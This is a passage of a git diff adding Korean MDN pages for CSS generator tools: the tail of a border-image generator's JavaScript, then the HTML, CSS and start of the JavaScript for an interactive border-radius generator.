+			InputSliderManager.subscribe('scale', setScale);
+			InputSliderManager.setValue('scale', scale);
+			imgState = 'border1';
+			loadRemoteImage('https://mdn.mozillademos.org/files/6007/border-image-1.png');
+			toggleGallery();
+		};
+
+		return {
+			init: init,
+			getScale : getScale,
+			loadRemoteImage: loadRemoteImage
+		};
+
+	})();
+
+	var GuideLine = function GuideLine(node) {
+		var topic = node.getAttribute('data-topic');
+		var axis = node.getAttribute('data-axis');
+
+		this.node = node;
+		this.topic = topic;
+		this.axis = axis;
+		this.info = topic.split('-')[1];
+
+		this.position = 0;
+		this.value = 0;
+		this.unit = 0;
+		this.max = 0;
+		this.pos = positions.indexOf(this.info);
+
+		guidelines[topic] = this;
+
+		var relative_container = document.createElement('div');
+		var tooltip = document.createElement('div');
+		var tooltip2 = document.createElement('div');
+
+		tooltip.className = 'tooltip';
+		tooltip.setAttribute('data-info', this.info);
+
+		tooltip2.className = 'tooltip2';
+		tooltip2.textContent = this.info;
+		tooltip2.setAttribute('data-info', this.info);
+
+		this.tooltip = tooltip;
+
+		relative_container.appendChild(tooltip);
+		relative_container.appendChild(tooltip2);
+		node.appendChild(relative_container);
+
+		var startX = 0;
+		var startY = 0;
+		var start = 0;
+
+		var startDrag = function startDrag(e) {
+			startX = e.clientX;
+			startY = e.clientY;
+			start = guidelines[topic].position;
+			document.body.setAttribute('data-move', axis);
+			relative_container.setAttribute('data-active', '');
+			node.setAttribute('data-active', '');
+
+			document.addEventListener('mousemove', updateGuideline);
+			document.addEventListener('mouseup', endDrag);
+		};
+
+		var endDrag = function endDrag() {
+			document.body.removeAttribute('data-move');
+			relative_container.removeAttribute('data-active');
+			node.removeAttribute('data-active');
+
+			document.removeEventListener('mousemove', updateGuideline);
+		};
+
+		var updateGuideline = function updateGuideline(e) {
+			var value;
+			if (topic === 'slice-top')
+				value = e.clientY - startY + start;
+
+			if (topic === 'slice-right')
+				value = startX - e.clientX + start;
+
+			if (topic === 'slice-bottom')
+				value = startY - e.clientY + start;
+
+			if (topic === 'slice-left')
+				value = e.clientX - startX + start;
+
+			if (this.unit === 0)
+				InputSliderManager.setValue(topic, value * 1 / ImageControl.getScale() | 0);
+			else {
+				InputSliderManager.setValue(topic, (value * 100 / (this.max * ImageControl.getScale())) | 0);
+			}
+
+		}.bind(this);
+
+		node.addEventListener("mousedown", startDrag);
+
+		InputSliderManager.subscribe(topic, this.setPosition.bind(this));
+		InputSliderManager.setValue(topic, this.position);
+	};
+
+
+	GuideLine.prototype.updateGuidelinePos = function updateGuidelinePos() {
+		if (this.unit === 0)
+			this.position = this.value * ImageControl.getScale() | 0;
+		else
+			this.position = this.value * this.max * ImageControl.getScale() / 100 | 0;
+
+		this.node.style[this.info] = this.position + 'px';
+	};
+
+	GuideLine.prototype.setPosition = function setPosition(value) {
+		this.value = value;
+		this.tooltip.textContent = value;
+		this.updateGuidelinePos();
+		Tool.setBorderSlice(this.pos, value);
+	};
+
+	GuideLine.prototype.setMax = function setMax(max) {
+		this.max = max;
+		this.updateLimit();
+	};
+
+	GuideLine.prototype.updateLimit = function updateLimit() {
+		if (this.unit === 1)
+			InputSliderManager.setMax(this.topic, 100);
+		else
+			InputSliderManager.setMax(this.topic, this.max);
+	};
+
+	GuideLine.prototype.setUnit = function setUnit(type) {
+		if (type === '%')	this.unit = 1;
+		if (type === '')	this.unit = 0;
+		this.updateLimit();
+	};
+
+	/*
+	 * Unit panel
+	 */
+	var UnitPanel = (function UnitPanel () {
+
+		var panel;
+		var title;
+		var precision;
+		var step;
+		var unit_topic = null; // settings are made for this topic
+		var step_option = [1, 0.1, 0.01];
+
+		var updatePrecision = function updatePrecision(value) {
+			InputSliderManager.setPrecision('unit-step', value);
+			InputSliderManager.setStep('unit-step', step_option[value]);
+			InputSliderManager.setMin('unit-step', step_option[value]);
+
+			if (unit_topic)
+				InputSliderManager.setPrecision(unit_topic, value);
+		};
+
+		var updateUnitSettings = function updateUnitSettings(value) {
+			if (unit_topic)
+				InputSliderManager.setStep(unit_topic, value);
+		};
+
+		var show = function show(e) {
+			var topic = e.target.getAttribute('data-topic');
+			var precision = InputSliderManager.getPrecision(topic);
+			var step = InputSliderManager.getStep(topic);
+
+			unit_topic = topic;
+			title.textContent = topic;
+
+			panel.setAttribute('data-active', 'true');
+			panel.style.top = e.target.offsetTop - 40 + 'px';
+			panel.style.left = e.target.offsetLeft + 30 + 'px';
+
+			InputSliderManager.setValue('unit-precision', precision);
+			InputSliderManager.setValue('unit-step', step);
+		};
+
+		var init = function init() {
+			panel = document.createElement('div');
+			title = document.createElement('div');
+			var close = document.createElement('div');
+
+			step = InputSliderManager.createSlider('unit-step', 'step');
+			precision = InputSliderManager.createSlider('unit-precision', 'precision');
+
+			InputSliderManager.setStep('unit-precision', 1);
+			InputSliderManager.setMax('unit-precision', 2);
+			InputSliderManager.setValue('unit-precision', 2);
+			InputSliderManager.setSensivity('unit-precision', 20);
+
+			InputSliderManager.setValue('unit-step', 1);
+			InputSliderManager.setStep('unit-step', 0.01);
+			InputSliderManager.setPrecision('unit-step', 2);
+
+			InputSliderManager.subscribe('unit-precision', updatePrecision);
+			InputSliderManager.subscribe('unit-step', updateUnitSettings);
+
+			close.addEventListener('click', function () {
+				panel.setAttribute('data-active', 'false');
+			});
+
+			title.textContent = 'Properties';
+			title.className = 'title';
+			close.className = 'close';
+			panel.id = 'unit-settings';
+			panel.setAttribute('data-active', 'false');
+			panel.appendChild(title);
+			panel.appendChild(precision);
+			panel.appendChild(step);
+			panel.appendChild(close);
+			document.body.appendChild(panel);
+		};
+
+		return {
+			init : init,
+			show : show
+		};
+
+	})();
+
+	/**
+	 * Tool Manager
+	 */
+	var Tool = (function Tool() {
+		var preview_area;
+		var dropdown_unit_options = [
+			{ '' : '--', '%' : '%'},
+			{ 'px' : 'px', '%' : '%', 'em' : 'em'},
+			{ 'px' : 'px', 'em' : 'em'},
+		];
+
+		var border_slice = [];
+		var border_width = [];
+		var border_outset = [];
+
+		var border_slice_values = [];
+		var border_width_values = [];
+		var border_outset_values = [];
+
+		var border_slice_units = ['', '', '', ''];
+		var border_width_units = ['px', 'px', 'px', 'px'];
+		var border_outset_units = ['px', 'px', 'px', 'px'];
+
+		var border_fill = false;
+		var border_repeat = ['round', 'round'];
+		var CSS_code = {
+			'source' : null,
+			'slice' : null,
+			'width' : null,
+			'outset' : null,
+			'repeat' : null
+		};
+
+		var setBorderSlice = function setBorderSlice(positionID, value) {
+			border_slice[positionID] = value + border_slice_units[positionID];
+			updateBorderSlice();
+		};
+
+		var updateBorderSlice = function updateBorderSlice() {
+			var value = border_slice.join(' ');
+			if (border_fill === true)
+				value += ' fill';
+
+			preview.style.borderImageSlice = value;
+			setOutputCSS('slice', value);
+		};
+
+		var setBorderFill = function setBorderFill(value) {
+			border_fill = value;
+			var bimgslice = border_slice.join(' ');;
+			if (value === true)
+				bimgslice += ' fill';
+
+			preview.style.borderImageSlice = bimgslice;
+		};
+
+		var updateBorderWidth = function updateBorderWidth() {
+			var value = border_width.join(' ');
+			preview.style.borderImageWidth = value;
+			setOutputCSS('width', value);
+		};
+
+		var updateBorderOutset = function updateBorderOutset() {
+			var value = border_outset.join(' ');
+			preview.style.borderImageOutset = border_outset.join(' ');
+			setOutputCSS('outset', value);
+		};
+
+		var setBorderRepeat = function setBorderRepeat(obj) {
+			border_repeat[obj.value] = obj.name;
+			var value = border_repeat.join(' ');
+			preview.style.borderImageRepeat = value;
+			setOutputCSS('repeat', value);
+		};
+
+		var setOutputCSS = function setOutputCSS(topic, value) {
+			CSS_code[topic].textContent = value + ';';
+		};
+
+		var setPreviewFontSize = function setPreviewFontSize(value) {
+			preview.style.fontSize = value + 'px';
+		};
+
+		var setPreviewWidth = function setPreviewWidth(value) {
+			preview.style.width = value + 'px';
+		};
+
+		var setPreviewHeight = function setPreviewHeight(value) {
+			preview.style.height = value + 'px';
+		};
+
+		var setPreviewAreaHeight = function setPreviewAreaHeight(value) {
+			preview_area.style.height = value + 'px';
+		};
+
+		var updateDragOption = function updateDragOption(value) {
+			if (value === true)
+				subject.setAttribute('data-draggable', 'true');
+			else
+				subject.removeAttribute('data-draggable');
+		};
+
+		var createProperty = function createProperty(topic, labelID, optionsID) {
+
+			var slider = InputSliderManager.createSlider(topic, positions[labelID]);
+			var dropdown = DropDownManager.createDropDown(topic, dropdown_unit_options[optionsID]);
+
+			InputSliderManager.setSensivity(topic, 3);
+			InputSliderManager.setPrecision(topic, 1);
+
+			var property = document.createElement('div');
+			var config = document.createElement('div');
+
+			property.className = 'property';
+			config.className = 'config';
+			config.setAttribute('data-topic', topic);
+			config.addEventListener('click', UnitPanel.show);
+
+			property.appendChild(slider);
+			property.appendChild(dropdown);
+			property.appendChild(config);
+
+			return property;
+		};
+
+		var initBorderSliceControls = function initBorderSliceControls() {
+			var container = getElemById('border-slice-control');
+
+			var listenForChanges = function listenForChanges(topic, id) {
+				InputSliderManager.subscribe(topic, function(value) {
+					border_slice_values[id] = value;
+					border_slice[id] = value + border_slice_units[id];
+					updateBorderSlice();
+				});
+
+				DropDownManager.subscribe(topic, function(obj) {
+					guidelines[topic].setUnit(obj.value);
+					border_slice_units[id] = obj.value;
+					border_slice[id] = border_slice_values[id] + obj.value;
+					updateBorderSlice();
+				});
+			};
+
+			for (var i = 0; i < positions.length; i++) {
+				var topic = 'slice-' + positions[i];
+				var property = createProperty(topic, i, 0);
+				listenForChanges(topic, i);
+
+				container.appendChild(property);
+			}
+
+			container.appendChild(container.children[1]);
+
+		};
+
+		var initBorderWidthControls = function initBorderWidthControls() {
+			var container = getElemById('border-width-control');
+
+			var listenForChanges = function listenForChanges(topic, id) {
+				InputSliderManager.subscribe(topic, function(value) {
+					border_width_values[id] = value;
+					border_width[id] = value + border_width_units[id];
+					updateBorderWidth();
+				});
+
+				DropDownManager.subscribe(topic, function(obj) {
+					if (obj.value === '%')
+						InputSliderManager.setMax(topic, 100);
+					else
+						InputSliderManager.setMax(topic, 1000);
+
+					border_width_units[id] = obj.value;
+					border_width[id] = border_width_values[id] + obj.value;
+					updateBorderWidth();
+				});
+			};
+
+			for (var i = 0; i < positions.length; i++) {
+				var topic = 'width-' + positions[i];
+				var property = createProperty(topic, i, 1);
+				InputSliderManager.setMax(topic, 1000);
+				listenForChanges(topic, i);
+
+				container.appendChild(property);
+			}
+		};
+
+		var initBorderOutsetControls = function initBorderOutsetControls() {
+
+			var container = getElemById('border-outset-control');
+
+			var listenForChanges = function listenForChanges(topic, id) {
+				InputSliderManager.subscribe(topic, function(value) {
+					border_outset_values[id] = value;
+					border_outset[id] = value + border_outset_units[id];
+					updateBorderOutset();
+				});
+
+				DropDownManager.subscribe(topic, function(obj) {
+					border_outset_units[id] = obj.value;
+					border_outset[id] = border_outset_values[id] + obj.value;
+					updateBorderOutset();
+				});
+			};
+
+			for (var i = 0; i < positions.length; i++) {
+				var topic = 'outset-' + positions[i];
+				var property = createProperty(topic, i, 2);
+				InputSliderManager.setMax(topic, 1000);
+				listenForChanges(topic, i);
+
+				container.appendChild(property);
+			}
+		};
+
+		var init = function init() {
+
+			var gallery =
+			subject = getElemById('subject');
+			preview = getElemById("preview");
+			preview_area = getElemById("preview_section");
+
+
+			CSS_code['source'] = getElemById("out-border-source");
+			CSS_code['slice'] = getElemById("out-border-slice");
+			CSS_code['width'] = getElemById("out-border-width");
+			CSS_code['outset'] = getElemById("out-border-outset");
+			CSS_code['repeat'] = getElemById("out-border-repeat");
+
+			initBorderSliceControls();
+			initBorderWidthControls();
+			initBorderOutsetControls();
+
+			var elem = document.querySelectorAll('.guideline');
+			var size = elem.length;
+			for (var i = 0; i < size; i++)
+				new GuideLine(elem[i]);
+
+			PreviewControl.init();
+
+			ButtonManager.subscribe('slice-fill',setBorderFill);
+			ButtonManager.subscribe('drag-subject', updateDragOption);
+			ButtonManager.setValue('drag-subject', false);
+
+			DropDownManager.subscribe('image-repeat-X', setBorderRepeat);
+			DropDownManager.subscribe('image-repeat-Y', setBorderRepeat);
+
+			InputSliderManager.subscribe('preview-area-height', setPreviewAreaHeight);
+			InputSliderManager.subscribe('preview-width', setPreviewWidth);
+			InputSliderManager.subscribe('preview-height', setPreviewHeight);
+			InputSliderManager.subscribe('font-size', setPreviewFontSize);
+			InputSliderManager.setValue('preview-width', 300);
+			InputSliderManager.setValue('preview-height', 200);
+		};
+
+		return {
+			init: init,
+			setOutputCSS: setOutputCSS,
+			setBorderSlice: setBorderSlice
+		};
+
+	})();
+
+	/**
+	 * Init Tool
+	 */
+	var init = function init() {
+		InputSliderManager.init();
+		DropDownManager.init();
+		ButtonManager.init();
+		UnitPanel.init();
+		Tool.init();
+		ImageControl.init();
+	};
+
+	return {
+		init : init
+	};
+
+})();
+
+
+
+ +
{{ EmbedLiveSample('Border_Image_Generator', '100%', '1270px') }}
diff --git a/files/ko/web/css/css_background_and_borders/border-radius_generator/index.html b/files/ko/web/css/css_background_and_borders/border-radius_generator/index.html new file mode 100644 index 0000000000..a5db192618 --- /dev/null +++ b/files/ko/web/css/css_background_and_borders/border-radius_generator/index.html @@ -0,0 +1,1601 @@ +--- +title: Border-radius 생성기 +slug: Web/CSS/CSS_Background_and_Borders/Border-radius_generator +tags: + - CSS + - CSS Borders + - Tools +translation_of: Web/CSS/CSS_Background_and_Borders/Border-radius_generator +--- +

이 도구를 사용해 CSS3 {{cssxref("border-radius")}} 값을 생성할 수 있습니다.

+ +
+

border-radius

+ +

HTML Content

+ +
<div id="container">
+    <div class="group section">
+        <div id="preview" class="col span_12">
+            <div id="subject">
+                <div id="top-left" class="radius-container"
+                    data-X="left" data-Y="top">
+                </div>
+                <div id="top-right" class="radius-container"
+                    data-X="right" data-Y="top">
+                </div>
+                <div id="bottom-right" class="radius-container"
+                    data-X="right" data-Y="bottom">
+                </div>
+                <div id="bottom-left" class="radius-container"
+                    data-X="left" data-Y="bottom">
+                </div>
+
+                <div id="radius-ui-sliders">
+                    <div id="tlr" class="ui-input-slider" data-topic="top-left"
+                         data-unit=" px" data-sensivity="2"></div>
+
+                    <div id="tlw" class="ui-input-slider" data-topic="top-left-w"
+                         data-unit=" px" data-sensivity="2"></div>
+
+                    <div id="tlh" class="ui-input-slider" data-topic="top-left-h"
+                        data-unit=" px" data-sensivity="2"></div>
+
+                    <div id="trr" class="ui-input-slider" data-topic="top-right"
+                         data-unit=" px" data-sensivity="2"></div>
+
+                    <div id="trw" class="ui-input-slider" data-topic="top-right-w"
+                         data-unit=" px" data-sensivity="2"></div>
+
+                    <div id="trh" class="ui-input-slider" data-topic="top-right-h"
+                        data-unit=" px" data-sensivity="2"></div>
+
+                    <div id="brr" class="ui-input-slider" data-topic="bottom-right"
+                         data-unit=" px" data-sensivity="2"></div>
+
+                    <div id="brw" class="ui-input-slider" data-topic="bottom-right-w"
+                         data-unit=" px" data-sensivity="2"></div>
+
+                    <div id="brh" class="ui-input-slider" data-topic="bottom-right-h"
+                        data-unit=" px" data-sensivity="2"></div>
+
+                    <div id="blr" class="ui-input-slider" data-topic="bottom-left"
+                         data-unit=" px" data-sensivity="2"></div>
+
+                    <div id="blw" class="ui-input-slider" data-topic="bottom-left-w"
+                         data-unit=" px" data-sensivity="2"></div>
+
+                    <div id="blh" class="ui-input-slider" data-topic="bottom-left-h"
+                        data-unit=" px" data-sensivity="2"></div>
+                </div>
+            </div>
+        </div>
+    </div>
+    <div id="controls" class="group section">
+
+        <div class="group section">
+            <div id="dimensions">
+                <div class="ui-input-slider" data-topic="width" data-info="width"
+                     data-unit=" px" data-min="150" data-max="700" data-sensivity="1"></div>
+
+                <div class="ui-input-slider" data-topic="height" data-info="height"
+                    data-unit=" px" data-min="75" data-max="350" data-sensivity="1"></div>
+            </div>
+
+            <div id="output"></div>
+        </div>
+
+        <div class="group section">
+            <div id="radius-lock">
+                <div class="info"> rounded corner </div>
+                <div class="ui-checkbox" data-topic='top-left'></div>
+                <div class="ui-checkbox" data-topic='top-right'></div>
+                <div class="ui-checkbox" data-topic='bottom-right'></div>
+                <div class="ui-checkbox" data-topic='bottom-left'></div>
+            </div>
+
+            <div id="unit-selection">
+                <div class="info"> select border units </div>
+            </div>
+        </div>
+
+    </div>
+</div>
+
+ +

CSS Content

+ +
/*  GRID OF TEN
+ * ========================================================================== */
+
+.span_12 {
+	width: 100%;
+}
+
+.span_11 {
+	width: 91.46%;
+}
+
+.span_10 {
+	width: 83%;
+}
+
+.span_9 {
+	width: 74.54%;
+}
+
+.span_8 {
+	width: 66.08%;
+}
+
+.span_7 {
+	width: 57.62%;
+}
+
+.span_6 {
+	width: 49.16%;
+}
+
+.span_5 {
+	width: 40.7%;
+}
+
+.span_4 {
+	width: 32.24%;
+}
+
+.span_3 {
+	width: 23.78%;
+}
+
+.span_2 {
+	width: 15.32%;
+}
+
+.span_1 {
+	width: 6.86%;
+}
+
+
+
+
+/*  SECTIONS
+ * ========================================================================== */
+
+.section {
+	clear: both;
+	padding: 0px;
+	margin: 0px;
+}
+
+/*  GROUPING
+ * ========================================================================== */
+
+
+.group:before, .group:after {
+    content: "";
+    display: table;
+}
+
+.group:after {
+    clear:both;
+}
+
+.group {
+    zoom: 1; /* For IE 6/7 (trigger hasLayout) */
+}
+
+/*  GRID COLUMN SETUP
+ * ========================================================================== */
+
+.col {
+	display: block;
+	float:left;
+	margin: 1% 0 1% 1.6%;
+}
+
+.col:first-child {
+	margin-left: 0;
+} /* all browsers except IE6 and lower */
+
+
+/*
+ * UI Component
+ */
+
+.ui-input-slider-container {
+	height: 20px;
+	margin: 10px 0;
+	font-family: "Segoe UI", Arial, Helvetica, sans-serif;
+	-moz-user-select: none;
+	user-select: none;
+}
+
+.ui-input-slider-container * {
+	float: left;
+	height: 100%;
+	line-height: 100%;
+}
+
+/* Input Slider */
+
+.ui-input-slider > input {
+	margin: 0;
+	padding: 0;
+	width: 50px;
+	text-align: center;
+
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+}
+
+.ui-input-slider-info {
+	width: 90px;
+	padding: 0px 10px 0px 0px;
+	text-align: right;
+	text-transform: lowercase;
+}
+
+.ui-input-slider-left, .ui-input-slider-right {
+	width: 16px;
+	cursor: pointer;
+	background: url("https://mdn.mozillademos.org/files/5679/arrows.png") center left no-repeat;
+}
+
+.ui-input-slider-right {
+	background: url("https://mdn.mozillademos.org/files/5679/arrows.png") center right no-repeat;
+}
+
+.ui-input-slider-name {
+	width: 90px;
+	padding: 0 10px 0 0;
+	text-align: right;
+	text-transform: lowercase;
+}
+
+.ui-input-slider-btn-set {
+	width: 25px;
+	background-color: #2C9FC9;
+	border-radius: 5px;
+	color: #FFF;
+	font-weight: bold;
+	line-height: 14px;
+	text-align: center;
+}
+
+.ui-input-slider-btn-set:hover {
+	background-color: #379B4A;
+	cursor: pointer;
+}
+
+/*
+ * UI Component
+ */
+
+/* Checkbox */
+
+.ui-checkbox {
+	text-align: center;
+	font-size: 16px;
+	font-family: "Segoe UI", Arial, Helvetica, sans-serif;
+	line-height: 1.5em;
+	color: #FFF;
+
+	-moz-user-select: none;
+	-webkit-user-select: none;
+	-ms-user-select: none;
+	user-select: none;
+}
+
+.ui-checkbox > input {
+ 	display: none;
+}
+
+.ui-checkbox > label {
+	font-size: 12px;
+	padding: 0.333em 1.666em 0.5em;
+	height: 1em;
+	line-height: 1em;
+
+	background-color: #888;
+	background-image: url("https://mdn.mozillademos.org/files/5683/disabled.png");
+	background-position: center center;
+	background-repeat: no-repeat;
+
+	color: #FFF;
+	border-radius: 3px;
+	font-weight: bold;
+	float: left;
+}
+
+.ui-checkbox .text {
+	padding-left: 34px;
+	background-position: center left 10px;
+}
+
+.ui-checkbox .left {
+	padding-right: 34px;
+	padding-left: 1.666em;
+	background-position: center right 10px;
+}
+
+.ui-checkbox > label:hover {
+	cursor: pointer;
+}
+
+.ui-checkbox > input:checked + label {
+	background-image: url("https://mdn.mozillademos.org/files/5681/checked.png");
+	background-color: #379B4A;
+}
+
+body {
+	max-width: 1000px;
+	margin: 0 auto;
+
+	font-family: "Segoe UI", Arial, Helvetica, sans-serif;
+
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+
+	-moz-user-select: none;
+	-webkit-user-select: none;
+	-ms-user-select: none;
+	user-select: none;
+}
+
+#container {
+	width: 100%;
+
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+}
+
+/******************************************************************************/
+/******************************************************************************/
+/*
+ * Preview Area
+ */
+
+#preview {
+	height: 500px;
+	border: 1px solid #CCC;
+	border-radius: 3px;
+	text-align: center;
+	overflow: hidden;
+	position: relative;
+}
+
+#preview .content {
+	width: 100%;
+	height: 100%;
+	display: block;
+}
+
+#preview input {
+	color: #333;
+	border: 1px solid #CCC;
+	border-radius: 3px;
+}
+
+#subject {
+	width: 400px;
+	height: 150px;
+	margin: 0 auto;
+	border: 3px solid #C60;
+	background: #FFF;
+	position: relative;
+}
+
+.radius {
+	width: 50%;
+	height: 50%;
+	border: 1px solid #CCC;
+	display: none;
+	position: absolute;
+	z-index: 1;
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+}
+
+.handle {
+	width: 16px;
+	height: 16px;
+	position: absolute;
+	z-index: 2;
+}
+
+.handle-top-left {
+	top: -12px;
+	left: -12px;
+	cursor: se-resize;
+	background: url("https://mdn.mozillademos.org/files/5677/resize-handle.png") top left no-repeat;
+}
+
+.handle-top-right {
+	top: -12px;
+	right: -12px;
+	cursor: sw-resize;
+	background: url("https://mdn.mozillademos.org/files/5677/resize-handle.png") top right no-repeat;
+}
+
+.handle-bottom-right {
+	bottom: -12px;
+	right: -12px;
+	cursor: nw-resize;
+	background: url("https://mdn.mozillademos.org/files/5677/resize-handle.png") bottom right no-repeat;
+}
+
+.handle-bottom-left {
+	bottom: -12px;
+	left: -12px;
+	cursor: ne-resize;
+	background: url("https://mdn.mozillademos.org/files/5677/resize-handle.png") bottom left no-repeat;
+}
+
+
+.radius-container {
+	position: absolute;
+	display : block;
+	z-index: 1;
+
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+}
+
+
+/* TOP LEFT */
+#top-left {
+	top: 0;
+	left: 0;
+}
+
+#top-left .radius {
+	border-top-left-radius: 100%;
+	top: 0;
+	left: 0;
+}
+
+/* TOP RIGHT */
+#top-right {
+	top: 0;
+	right: 0;
+}
+
+#top-right .radius {
+	border-top-right-radius: 100%;
+	top: 0;
+	right: 0;
+}
+
+/* BOTTOM RIGHT */
+#bottom-right {
+	bottom: 0;
+	right: 0;
+}
+
+#bottom-right .radius {
+	border-bottom-right-radius: 100%;
+	bottom: 0;
+	right: 0;
+}
+
+/* BOTTOM lEFT */
+#bottom-left {
+	bottom: 0;
+	left: 0;
+}
+
+#bottom-left .radius {
+	border-bottom-left-radius: 100%;
+	bottom: 0;
+}
+
+/* INPUT SLIDERS */
+
+#preview .ui-input-slider {
+	margin: 10px;
+	position: absolute;
+	z-index: 10;
+}
+
+#radius-ui-sliders {
+	width: 100%;
+	height: 100%;
+	min-height: 75px;
+	min-width: 150px;
+	padding: 20px 50px;
+	top: -20px;
+	left: -50px;
+	position: relative;
+}
+
+#tlr {
+	top: -30px;
+	left: -50px;
+	display: none;
+}
+
+#tlw {
+	top: -30px;
+	left: 30px;
+}
+
+#tlh {
+	top: 20px;
+	left: -50px;
+}
+
+#trr {
+	top: -30px;
+	right: -50px;
+	display: none;
+}
+
+#trw {
+	top: -30px;
+	right: 30px;
+}
+
+#trh {
+	top: 20px;
+	right: -50px;
+}
+
+#brr {
+	bottom: -30px;
+	right: -50px;
+	display: none;
+}
+
+#brw {
+	bottom: -30px;
+	right: 30px;
+}
+
+#brh {
+	bottom: 20px;
+	right: -50px;
+}
+
+#blr {
+	bottom: -30px;
+	left: -50px;
+	display: none;
+}
+
+#blw {
+	bottom: -30px;
+	left: 30px;
+}
+
+#blh {
+	bottom: 20px;
+	left: -50px;
+}
+
+#preview .ui-input-slider-left, #preview .ui-input-slider-right {
+	visibility: hidden;
+}
+
+#preview .ui-input-slider-container:hover .ui-input-slider-left {
+	visibility: visible;
+}
+
+#preview .ui-input-slider-container:hover .ui-input-slider-right {
+	visibility: visible;
+}
+
+/*
+ *
+ */
+
+#unit-selection {
+	width: 200px;
+	height: 75px;
+	margin: 30px 30px 0 0;
+	padding: 30px;
+	border: 3px solid #555;
+	border-radius: 10px;
+	position: relative;
+	float: right;
+}
+
+#unit-selection .info {
+	height: 20%;
+	width: 100%;
+	line-height: 20%;
+	font-size: 20px;
+	text-align: center;
+	position: relative;
+	top: 40%;
+}
+
+#unit-selection .dropdown {
+	width: 50px;
+	height: 20px;
+	margin: 10px;
+	padding: 0;
+	border-radius: 3px;
+	position: absolute;
+	overflow: hidden;
+}
+
+#unit-selection select {
+	width: 50px;
+	height: 20px;
+	marign: 0;
+	padding: 0 0 0 10px;
+	background: #555;
+	border: 1px solid #555;
+	border: none;
+	color: #FFF;
+	float: left;
+}
+
+#unit-selection select option {
+	background: #FFF;
+	color: #333;
+}
+
+#unit-selection select:hover {
+	cursor: pointer;
+}
+
+#unit-selection .dropdown:before {
+	content: "";
+	width: 18px;
+	height: 20px;
+	display: block;
+	background-color: #555;
+	background-image: url("https://mdn.mozillademos.org/files/5675/dropdown.png");
+	background-position: center center;
+	background-repeat: no-repeat;
+	top: 0px;
+	right: 0px;
+	position: absolute;
+	z-index: 1;
+	pointer-events: none;
+}
+
+#unit-selection .unit-top-left {
+	top: 0;
+	left: 0;
+	display: none;
+}
+
+#unit-selection .unit-top-left-w {
+	top: -22px;
+	left: 30px;
+}
+
+#unit-selection .unit-top-left-h {
+	top: 20px;
+	left: -37px;
+}
+
+#unit-selection .unit-top-right {
+	top: 0;
+	right: 0;
+	display: none;
+}
+
+#unit-selection .unit-top-right-w {
+	top: -22px;
+	right: 30px;
+}
+
+#unit-selection .unit-top-right-h {
+	top: 20px;
+	right: -37px;
+}
+
+#unit-selection .unit-bottom-right {
+	bottom: 0;
+	right: 0;
+	display: none;
+}
+
+#unit-selection .unit-bottom-right-w {
+	bottom: -22px;
+	right: 30px;
+}
+
+#unit-selection .unit-bottom-right-h {
+	bottom: 20px;
+	right: -37px;
+}
+
+#unit-selection .unit-bottom-left {
+	bottom: 0;
+	left: 0;
+	display: none;
+}
+
+#unit-selection .unit-bottom-left-w {
+	bottom: -22px;
+	left: 30px;
+}
+
+#unit-selection .unit-bottom-left-h {
+	bottom: 20px;
+	left: -37px;
+}
+
+/******************************************************************************/
+/******************************************************************************/
+
+
+#radius-lock {
+	width: 200px;
+	height: 75px;
+	margin: 30px 0 0 30px;
+	padding: 30px;
+	border: 3px solid #555;
+	border-radius: 10px;
+	position: relative;
+	float: left;
+}
+
+#radius-lock .ui-checkbox {
+	color: #FFF;
+	position: absolute;
+}
+
+#radius-lock .ui-checkbox > label {
+	height: 20px;
+	width: 34px;
+	padding: 0;
+}
+
+#radius-lock .info {
+	height: 20%;
+	width: 100%;
+	line-height: 20%;
+	font-size: 20px;
+	text-align: center;
+	position: relative;
+	top: 40%;
+}
+
+#radius-lock [data-topic="top-left"] {
+	top: 10px;
+	left: 10px;
+}
+
+#radius-lock [data-topic="top-right"] {
+	top: 10px;
+	right: 10px;
+}
+
+#radius-lock [data-topic="bottom-right"] {
+	bottom: 10px;
+	right: 10px;
+}
+
+#radius-lock [data-topic="bottom-left"] {
+	bottom: 10px;
+	left: 10px;
+}
+
+/**
+ * Controls
+ */
+
+#dimensions {
+	width: 200px;
+	color: #444;
+	float:left;
+}
+
+#dimensions input {
+	background: #555;
+	color: #FFF;
+	border: none;
+	border-radius: 3px;
+}
+
+#output {
+	width: 500px;
+	padding: 10px 0;
+	margin: 10px 0;
+	color: #555;
+	text-align: center;
+	border: 1px dashed #999;
+	border-radius: 3px;
+	-moz-user-select: text;
+	-webkit-user-select: text;
+	-ms-user-select: text;
+	user-select: text;
+
+	float: right;
+}
+
+
+
+ +

JavaScript Content

+ +
'use strict';
+
+
+/**
+ * UI-InputSliderManager
+ */
+
+var InputSliderManager = (function InputSliderManager() {
+
+	var subscribers = {};
+	var sliders = [];
+
+	var InputComponent = function InputComponent(obj) {
+		var input = document.createElement('input');
+		input.setAttribute('type', 'text');
+
+		input.addEventListener('click', function(e) {
+			this.select();
+		});
+
+		input.addEventListener('change', function(e) {
+			var value = parseInt(e.target.value);
+
+			if (isNaN(value) === true)
+				setValue(obj.topic, obj.value);
+			else
+				setValue(obj.topic, value);
+		});
+
+		subscribe(obj.topic, function(value) {
+			input.value = value + obj.unit;
+		});
+
+		return input;
+	}
+
+	var SliderComponent = function SliderComponent(obj, sign) {
+		var slider = document.createElement('div');
+		var startX = null;
+		var start_value = 0;
+
+		slider.addEventListener("click", function(e) {
+			setValue(obj.topic, obj.value + obj.step * sign);
+		});
+
+		slider.addEventListener("mousedown", function(e) {
+			startX = e.clientX;
+			start_value = obj.value;
+			document.body.style.cursor = "e-resize";
+			document.addEventListener("mousemove", sliderMotion);
+		});
+
+		document.addEventListener("mouseup", function(e) {
+			document.removeEventListener("mousemove", sliderMotion);
+			document.body.style.cursor = "auto";
+			slider.style.cursor = "pointer";
+		});
+
+		var sliderMotion = function sliderMotion(e) {
+			slider.style.cursor = "e-resize";
+			var delta = (e.clientX - startX) / obj.sensivity | 0;
+			var value = delta * obj.step + start_value;
+			setValue(obj.topic, value);
+		}
+
+		return slider;
+	}
+
+	var InputSlider = function(node) {
+		var min		= node.getAttribute('data-min') | 0;
+		var max		= node.getAttribute('data-max') | 0;
+		var step	= node.getAttribute('data-step') | 0;
+		var value	= node.getAttribute('data-value') | 0;
